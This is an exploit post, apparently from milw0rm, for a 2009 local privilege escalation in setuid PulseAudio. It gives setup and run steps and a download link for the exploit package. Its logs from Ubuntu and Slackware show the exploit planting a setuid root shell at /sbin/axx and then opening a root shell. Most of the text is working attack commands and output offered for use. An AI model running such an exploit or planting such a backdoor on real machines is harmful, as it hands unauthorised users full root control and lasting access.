PulseAudio setuid Local Privilege Escalation Vulnerability http://www.securityfocus.com/bid/35721 Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and Yorick Koster -- Put files in /tmp/pulseaudio-exp (or change config.h). Must be on same fs as the pulseaudio binary. Goes faster if you already have a pulseaudio running ? :p Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0 (x86) Ubuntu: ------------------------------------ $ ./c.sh $ ./pulseaudio-exp Please wait. [*] Seems we are uid = 0 and gid = 0 [*] mv /tmp/pulseaudio-exp/shell /sbin/axx [*] chown root.root /sbin/axx [*] chmod 4755 /sbin/axx Try: /sbin/axx /bin/sh $ /sbin/axx /bin/sh # id uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(adm in),122(sambashare) # uname -a Linux ubuntu 2.6.28-13-generic #45-Ubuntu SMP Tue Jun 30 22:12:12 UTC 2009 x86_64 GNU/Linux ------------------------------------ Slackware ------------------------------------ $ ./c.sh $ ./pulseaudio-exp Please wait. [*] Seems we are uid = 0 and gid = 0 [*] mv /tmp/pulseaudio-exp/shell /sbin/axx [*] chown root.root /sbin/axx [*] chmod 4755 /sbin/axx Try: /sbin/axx /bin/sh $ /sbin/axx /bin/sh sh-3.1# id uid=0(root) gid=0(root) groups=17(audio),100(users),104(pulse-rt) sh-3.1# uname -a Linux slackware 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008 i686 Intel(R) Pentium(R) Dual CPU T3400 @ 2.16GHz GenuineIntel GNU/Linux ------------------------------------ download: http://milw0rm.com/sploits/2009-pulseaudio-exp.tar.gz # milw0rm.com [2009-07-20]